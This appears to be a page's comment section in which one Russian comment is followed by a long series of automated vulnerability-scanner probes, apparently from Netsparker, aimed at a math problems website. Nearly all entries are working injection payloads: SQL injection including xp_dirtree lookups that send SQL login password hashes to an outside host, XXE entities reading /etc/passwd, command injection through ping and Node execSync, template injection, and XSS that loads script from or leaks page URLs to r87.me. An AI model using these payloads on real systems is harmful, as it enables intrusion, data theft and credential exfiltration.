Вот это ресурс...

---

3

---

3

---

3

---

3

---

3

---

3

---

3

---

3

---

hTTp://r87.com/n

---

hTTp://r87.com/n

---

http://r87.com/n?.php

---

http://r87.com/n?.php

---

http://r87.com/n?.php

---

N3tSp4rK3R

---

http://r87.com/n?.php

---

N3tSp4rK3R

---

php://filter//resource=http://r87.com/n?.php

---

${28275*28275-(65927)}

---

php://filter//resource=http://r87.com/n?.php

---

NS09＜s1﹥DBLʺSNGLʹNS09

---

${28275*28275-(33474)}

---

r87.com/n

---

NS09＜s1﹥DBLʺSNGLʹNS09

---

#{28275*28275-(75182)}

---

r87.com/n

---

#{28275*28275-(71988)}

---

ns:netsparker056650=vuln

---

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>

---

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>

---

ns:netsparker056650=vuln

---

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>

---

http://example.com/? ns: netsparker056650=vuln

---

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>

---

3

---

"& ping -n 25 127.0.0.1 &

---

3

---

http://example.com/? ns: netsparker056650=vuln

---

&thisdoesntexists;

---

nmo_xmpmyajsiq83q9okjk3tvq1gukcptuwsvf4xdqm.r87.me

---

"& ping -n 25 127.0.0.1 &

---

ns:netsparker056650=vuln

---

&thisdoesntexists;

---

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://nmo_xmpm"><!ENTITY % d "yapzlbskb9z_aqbcepmbhw94onxywann-3i.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>

---

nmo_xmpmyarouohg3jsufqy1efb57krygd4mxyquxya.r87.me

---

3

---

3

---

3

---

3

---

'& ping -n 25 127.0.0.1 &

---

"& SET /A 0xFFF9999-71840 &

---

ns:netsparker056650=vuln

---

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://nmo_xmpm"><!ENTITY % d "yacgyd6jxyrgoh2cs9mbpus4lomaxwjny7y.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>

---

//nmo_xmpmyag_4tq5m_kemq7haa6wmammrrzdgcd_0gm.r87.me

---

3

---

3

---

3

---

3

---

3

---

3

---

3

---

3

---

'& ping -n 25 127.0.0.1 &

---

"& SET /A 0xFFF9999-69778 &

---

ns:netsparker056650=vuln

---

3

---

3

---

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://nmo_xmpm"><!ENTITY % d "yanzyo5tr1x6mvrrmyt0ayb8a4lz6hdfa78.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>

---

//nmo_xmpmya2wx9kosvgwgkeq7jekapasoyzgvvbvxba.r87.me

---

{{268409241-44426}}

---

http://nmo_xmpmya4bmtt4d8ooymuhcx2xljrhfq_k4cl3_uh.r87.me/p/

---

3

---

& ping -n 25 127.0.0.1 &

---

3

---

'& SET /A 0xFFF9999-78149 &

---

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://nmo_xmpm"><!ENTITY % d "yaakfkgthdwde3u__nnkda3wcthy2tqfs78.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>

---

http://r87.me/r/?id=nmo_xmpmyaxokq-qkxmjp-t_sdsmopperik7zbh8dyq

---

{{268409241-36002}}

---

http://nmo_xmpmyakln9kat1o6vou6fcrj_rxh3833j939m_f.r87.me/p/

---

ns:netsparker056650=vuln

---

& ping -n 25 127.0.0.1 &

---

'& SET /A 0xFFF9999-51105 &

---

-1 OR 1=1

---

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://nmo_xmpm"><!ENTITY % d "ya39oldgqwokxdtxugssidcl7ccqd0mws54.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>

---

http://r87.me/r/?id=nmo_xmpmyabrifox2jkn_x_7gjpdeopzdafbvzlssqe

---

3

---

3

---

=268409241-4198

---

php://filter//resource=http://nmo_xmpmya9urjxsi5msc-uji9mr1ulvetauj6-w_x7.r87.me/p/

---

ping -n 25 127.0.0.1 &

---

3

---

& SET /A 0xFFF9999-14235 &

---

3

---

-1 OR 1=1

---

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://nmo_xmpm"><!ENTITY % d "yaxhcs6gkjy9dg_o3bybknbbw8brhugkd44.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>

---

=268409241-35666

---

php://filter//resource=http://nmo_xmpmyakfaad_ieznbh-zacmiuwgdc-36wtjv3rd.r87.me/p/

---

3

---

3

---

ping -n 25 127.0.0.1 &

---

& SET /A 0xFFF9999-78742 &

---

-1 OR 1=1

---

<%- 268409241-17028 %>

---

nmo_xmpmyakox52azoaunv2bpppx-ddqnbdb8srfaqb.r87.me/p/

---

"&ping -w 25 127.0.0.1 &"

---

SET /A 0xFFF9999-25143 &

---

-1 OR 1=1

---

<%- 268409241-59663 %>

---

nmo_xmpmyatr3r6kxs5z5boixojgebzd6csc5ymc7mt.r87.me/p/

---

"&ping -w 25 127.0.0.1 &"

---

SET /A 0xFFF9999-74739 &

---

'

---

<#assign x=268409241 - 89391> ${x?string["0"]}

---

'&ping -w 25 127.0.0.1 &'

---

NS-1NO

---

<#assign x=268409241 - 20589> ${x?string["0"]}

---

'&ping -w 25 127.0.0.1 &'

---

SET /A 0xFFF9999-40493

---

-1 AND 'NS='ss

---

<%= "#{268409241-97823}" %>

---

&ping -w 25 127.0.0.1 &

---

SET /A 0xFFF9999-74671

---

-1' OR 1=1 OR 'ns'='ns

---

<%= "#{268409241-72410}" %>

---

&ping -w 25 127.0.0.1 &

---

| SET /A 0xFFF9999-6162

---

-1" OR 1=1 OR "ns"="ns

---

@(268409241-54188)

---

ping -w 25 127.0.0.1 &

---

'"--></style></scRipt><scRipt src="//nmo_xmpmyaofci4mpu0bqxnmhtgzro2vxzfexcctuqg&#46;r87&#46;me"></scRipt>

---

| SET /A 0xFFF9999-65142

---

-1 OR 17-7=10

---

@(268409241-57202)

---

ping -w 25 127.0.0.1 &

---

'"--></style></scRipt><scRipt src="//nmo_xmpmyauzfrc6u4y8oky4xdenoserzdjehszqfre&#46;r87&#46;me"></scRipt>

---

-1 OR X='ss

---

3

---

{{ 268409241- 30648 }}

---

1";expr 268409241 - 35753;"

---

ping -n 25 127.0.0.1

---

<iMg src=N onerror="this.onerror='';this.src='//nmo_xmpmyakipbb68mz-e2lvuqjsne7wkwaisuce'+'rhu.r87.me/r/?'+location.href">

---

-1' OR 1=1 OR '1'='1

---

1";expr 268409241 - 68132;"

---

ping -n 25 127.0.0.1

---

{{ 268409241- 87804 }}

---

<iMg src=N onerror="this.onerror='';this.src='//nmo_xmpmyazgdydmm8ot2o29w71zbhmlwnx7wewf'+'r4a.r87.me/r/?'+location.href">

---

-1' OR 1=1 OR '1'='1

---

%27

---

3

---

1';expr 268409241 - 26597;'

---

ping -w 25 127.0.0.1

---

(268409241-12852)

---

<iMg src="//r87.me/images/1.jpg" onload="this.onload='';this.src='//nmo_xmpmyajmbecyfaoz9sy_scbhmyhuxdaorkmf'+'ecs.r87.me/r/?'+location.href">

---

-1" OR 1=1 OR "1"="1

---

%27

---

1';expr 268409241 - 76560;'

---

ping -w 25 127.0.0.1

---

(268409241-3132)

---

<iMg src="//r87.me/images/1.jpg" onload="this.onload='';this.src='//nmo_xmpmyaedwube60fcze73b4g9tkaauab1tjdr'+'6a0.r87.me/r/?'+location.href">

---

-1" OR 1=1 OR "1"="1

---

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

---

1;expr 268409241 - 29288;x

---

|ping -n 25 127.0.0.1

---

{{ 268409241- 4445 }}

---

<fRame src=N onload="this.onload='';this.src='//nmo_xmpmyaskuj2xf_o7sx_ucyfv7pnd2f-cbdmo'+'xpk.r87.me/r/?'+location.href">

---

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

---

1;expr 268409241 - 67745;x

---

|ping -n 25 127.0.0.1

---

{{ 268409241- 99531 }}

---

<fRame src=N onload="this.onload='';this.src='//nmo_xmpmyawtbi0gzvhct0suulaf7oy4dhiulukt'+'jpy.r87.me/r/?'+location.href">

---

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

---

expr 268409241 - 10359;

---

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

---

expr 268409241 - 44606;

---

expr 268409241 - 79714

---

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

---

";l=document.createElement("link");l.rel="prefetch";l.href="//nmo_xmpmyaezmfqhqthfsn6vh_a2yt_gfqdzt67e"+"tgu.r87.me/r/?"+location.href;document.head.appendChild(l);//

---

expr 268409241 - 39683

---

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

---

<!--#exec cmd="expr 268409241 - 40441"-->

---

";l=document.createElement("link");l.rel="prefetch";l.href="//nmo_xmpmyap7jwptfx8y82yhellwdihnmfoltmgj"+"dgw.r87.me/r/?"+location.href;document.head.appendChild(l);//

---

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

---

<!--#exec cmd="expr 268409241 - 94859"-->

---

';l=document.createElement("link");l.rel="prefetch";l.href="//nmo_xmpmyay_zwpcohf9tekuljliufbuejm1ap-b"+"6fq.r87.me/r/?"+location.href;document.head.appendChild(l);//

---

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

---

response.write(268409241-68718)'

---

|expr${IFS}268409241${IFS}-${IFS}15012

---

';l=document.createElement("link");l.rel="prefetch";l.href="//nmo_xmpmyar-fuokpfkltnqdetjabczrzrttxqez"+"agy.r87.me/r/?"+location.href;document.head.appendChild(l);//

---

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

---

response.write(268409241-41879)'

---

|expr${IFS}268409241${IFS}-${IFS}95863

---

<iframe src="//nmo_xmpmyaj6viilzb7evxxeoun_iecqkidpu_99izi&#46;r87&#46;me"></iframe>

---

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

---

+response.write(268409241-97527)'

---

<iframe src="//nmo_xmpmya2olfnkeniexg1df9tdwc3taaquejojoju&#46;r87&#46;me"></iframe>

---

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

---

+response.write(268409241-64917)'

---

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

---

"+response.write(268409241-53027)+"

---

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

---

"+response.write(268409241-45395)+"

---

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

---

<% response.write(268409241-7430) %>

---

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

---

<% response.write(268409241-30832) %>

---

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

---

print(int)0xFFF9999-83113

---

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

---

print(int)0xFFF9999-46609

---

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

---

print(int)0xFFF9999-83328;

---

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

---

print(int)0xFFF9999-55997;

---

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

---

+print(int)0xFFF9999-84189;//

---

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

---

+print(int)0xFFF9999-40206;//

---

'"--></style></scRipt><scRipt>netsparker(0x00BC75)</scRipt>

---

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

---

'+print(int)0xFFF9999-17980+'

---

'"--></style></scRipt><scRipt>netsparker(0x00BC76)</scRipt>

---

NSFTW

---

'+print(int)0xFFF9999-32008+'

---

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x00BDF3%29%3C%2FscRipt%3E

---

exec('xp_dirtree ''\\nmo_xmpmyakntg6819cd4onj28iymisvnedd5azy'+'xzo.r87.me'+'\c$\a''')

---

"+print(int)0xFFF9999-60949+"

---

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x00BDF4%29%3C%2FscRipt%3E

---

'+NSFTW+'

---

exec('xp_dirtree ''\\nmo_xmpmyaq_22dzvfn6w6x4801_jfhh8ghanakj'+'_wg.r87.me'+'\c$\a''')

---

"+print(int)0xFFF9999-30926+"

---

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDBDMEZDKTwvc2NyaXB0Pg==

---

'+NSFTW+'

---

<?=(int)0xFFF9999-87960;//?>

---

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.nmo_xmpmyaj7roprjc6ozlf4wkx07map2szmb6uq'+'tyg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

---

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDBDMEZEKTwvc2NyaXB0Pg==

---

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

---

<?=(int)0xFFF9999-22440;//?>

---

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.nmo_xmpmyapxuplutfgym931s9cc0kxxgfdapbmm'+'wxy.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

---

'" ns=netsparker(0x00C476)

---

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

---

{php}print(int)0xFFF9999-79499;{/php}

---

' WAITFOR DELAY '0:0:25'-- /* fc3c7d2a-78cc-49e3-b595-f304f45dd446 */

---

1;exec('xp_dirtree ''\\nmo_xmpmyal6ujhnrht5rf_xeqttggjozqnxfgiw'+'16g.r87.me'+'\c$\a''')--

---

'" ns=netsparker(0x00C477)

---

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

---

{php}print(int)0xFFF9999-63289;{/php}

---

' WAITFOR DELAY '0:0:25'-- /* c45f0604-ad81-45eb-9c30-b71d593d7966 */

---

1;exec('xp_dirtree ''\\nmo_xmpmyaaihahfquqlkr7tko5sbmb4njxdhsof'+'le4.r87.me'+'\c$\a''')--

---

1 ns=netsparker(0x00C82E)

---

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

---

'{${print(int)0xFFF9999-71314}}'

---

1 WAITFOR DELAY '0:0:25'-- /* f2a6df10-cecb-40f4-a8e3-2d824e17fedd */

---

-1';exec('xp_dirtree ''\\nmo_xmpmyabp7lwmnsmcbel2ontsgbjnrghooram'+'7yk.r87.me'+'\c$\a''')--

---

1 ns=netsparker(0x00C82F)

---

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

---

'{${print(int)0xFFF9999-94069}}'

---

-1';exec('xp_dirtree ''\\nmo_xmpmya5nrhk1bmya9qg8ogw-na7de3_zanr0'+'q-i.r87.me'+'\c$\a''')--

---

'><net sparker=netsparker(0x00C852)>

---

1 WAITFOR DELAY '0:0:25'-- /* 89eb3eb6-34bd-43be-b455-9d71a576657e */

---

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

---

[php]print(int)0xFFF9999-21249;[/php]

---

1) exec('xp_dirtree ''\\nmo_xmpmyaba4a0axedgrsgkkauilduuh7rpl_ym'+'tty.r87.me'+'\c$\a''')--

---

'><net sparker=netsparker(0x00C853)>

---

WAITFOR DELAY '0:0:25'-- /* ca7ed50d-b56d-458b-9a6e-bd732995d6cd */

---

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

---

[php]print(int)0xFFF9999-26990;[/php]

---

1) exec('xp_dirtree ''\\nmo_xmpmyash0s1bo_oyrthf8vyrydnvkamiidfq'+'z_u.r87.me'+'\c$\a''')--

---

WAITFOR DELAY '0:0:25'-- /* df98cb7e-466c-473f-a58f-5cec6b251981 */

---

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

---

1')exec('xp_dirtree ''\\nmo_xmpmyaiyoxd6b3i9xzq4f26llu_edmf_hkmq'+'sxs.r87.me'+'\c$\a''')--

---

"><net sparker=netsparker(0x00C876)>

---

1) WAITFOR DELAY '0:0:25'-- /* 6684bb9d-0f6c-43ab-bdbc-bcb4bdeebcc3 */

---

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

---

"><net sparker=netsparker(0x00C877)>

---

1) WAITFOR DELAY '0:0:25'-- /* 1b426d1d-ffe5-4d8f-b976-4e45633736b8 */

---

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

---

<iMg src=N onerror=netsparker(0x00C8A2)>

---

print localtime()*0+0xFFF9999-42219

---

') WAITFOR DELAY '0:0:25'-- /* 4e59ef70-b7ae-477f-9063-c6c1e9b47ddc */

---

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

---

<iMg src=N onerror=netsparker(0x00C8A3)>

---

print localtime()*0+0xFFF9999-71822

---

') WAITFOR DELAY '0:0:25'-- /* 328275b1-c6d8-4659-98e6-016f2a9618a7 */

---

1')exec('xp_dirtree ''\\nmo_xmpmyat_vwjjemelkmjwklyxksq5mq43xhuy'+'_rw.r87.me'+'\c$\a''')--

---

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

---

')) WAITFOR DELAY '0:0:25'-- /* b219b8bc-01be-4d15-9fb1-58c8fec53a92 */

---

1))exec('xp_dirtree ''\\nmo_xmpmyapu5ja4uwchihdnqy0tyb3f6ugnzd53'+'fve.r87.me'+'\c$\a''')--

---

https://www.mathproblemsbank.net/trace.axd

---

<scRipt>ns(0x00C8B4)</scRipt>

---

https://www.mathproblemsbank.net/trace.axd

---

eval('print localtime()*0+0xFFF9999-38950')

---

')) WAITFOR DELAY '0:0:25'-- /* 8fe897cb-441d-4a11-9937-0d599b94585d */

---

1))exec('xp_dirtree ''\\nmo_xmpmyahd4njcpvato1mhgfbl9nkhxaouvzvd'+'adu.r87.me'+'\c$\a''')--

---

<scRipt>ns(0x00C8B5)</scRipt>

---

www.mathproblemsbank.net/trace.axd

---

'+print localtime()*0+0xFFF9999-43755+'

---

1)) WAITFOR DELAY '0:0:25'-- /* 5b28178d-3086-4cbf-91e1-589e5c46a891 */

---

1'))exec('xp_dirtree ''\\nmo_xmpmya6bkh_hvlok_qjfoimgwrkl3nlmsotd'+'xhk.r87.me'+'\c$\a''')--

---

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

---

*/netsparker(0x00C8C0);/*

---

www.mathproblemsbank.net/trace.axd

---

'+print localtime()*0+0xFFF9999-98532+'

---

1)) WAITFOR DELAY '0:0:25'-- /* bcc7e89c-2863-40f6-8908-00b2d2a2d62f */

---

1'))exec('xp_dirtree ''\\nmo_xmpmyale2n6qzlow3ch0qrgnmsz5nm-ueolh'+'nu8.r87.me'+'\c$\a''')--

---

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

---

*/netsparker(0x00C8C1);/*

---

104.21.66.163/trace.axd

---

"+print localtime()*0+0xFFF9999-66809+"

---

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 485f8b79-75ab-48a0-bd9a-4f335437ed19 */

---

syscolumns WHERE 2>3;exec('xp_dirtree ''\\nmo_xmpmya3iezrwwsekyreiif-dv6yjbccdhyf4'+'5hi.r87.me'+'\c$\a''')--

---

'+netsparker(0x00C8C8)+'

---

104.21.66.163/trace.axd

---

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 94a08e22-fef0-41a0-b9e3-a72595e36337 */

---

syscolumns WHERE 2>3;exec('xp_dirtree ''\\nmo_xmpmyadxal-yh8pui4zgyfc0nqj0df3br1jr'+'rom.r87.me'+'\c$\a''')--

---

'+netsparker(0x00C8C9)+'

---

127.100.11.2/trace.axd

---

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 9edaa27a-3000-4d9e-819f-46b263d74dde */

---

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','nmo_xmpmyapxuxenaol4jaxm5ggbppdpxexz3_fp'+'3fk.r87.me')exec sp_executesql @r

---

"+netsparker(0x00C8DA)+"

---

127.100.11.2/trace.axd

---

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* aa5f8739-ada5-4b79-9dea-ddd7ae9f3bc4 */

---

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','nmo_xmpmyaqs2sezxlpqf3c8nvcxrfg34meaavf3'+'fkc.r87.me')exec sp_executesql @r

---

"+netsparker(0x00C8DB)+"

---

arguments[1].end(require('child_process').execSync('expr 268409241 - 71970'))

---

127.0.0.1/trace.axd

---

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 6275fa67-6d1e-4ff1-ba53-1ac238b6f14c */

---

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','nmo_xmpmyayv2mhtzn2klmwyqeu-bg2ecanryydl'+'rsc.r87.me')exec sp_executesql @r--

---

arguments[1].end(require('child_process').execSync('expr 268409241 - 19579'))

---

\';netsparker(0x00C8E7);///

---

arguments[1].end(require('child_process').execSync('set /A 268409241 - 75998'))

---

127.0.0.1/trace.axd

---

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 86954722-8588-4b90-ac1c-2eb07e7076b0 */

---

\';netsparker(0x00C8E8);///

---

arguments[1].end(require('child_process').execSync('set /A 268409241 - 40407'))

---

[::1]/trace.axd

---

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* e7c59166-082a-4630-8bdf-066b61550e8f */

---

&#39;,netsparker(0x00C90F),&#39;

---

%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-21695)}

---

[::1]/trace.axd

---

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 7eb36bd1-5e9a-4dae-abc9-5f8196c84d3a */

---

&#39;,netsparker(0x00C910),&#39;

---

%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-66270)}

---

https://www.mathproblemsbank.net/elmah.axd

---

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* d3ad0889-d553-4419-9018-66ee272f4a0d */

---

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','nmo_xmpmya8wknnv5lczcfkw6enzpris2qylnybn'+'7fg.r87.me')exec sp_executesql @r--

---

netsparker(0x00C915)

---

p "#{0xFFF9999.to_i-`echo 47424`.to_i}"

---

https://www.mathproblemsbank.net/elmah.axd

---

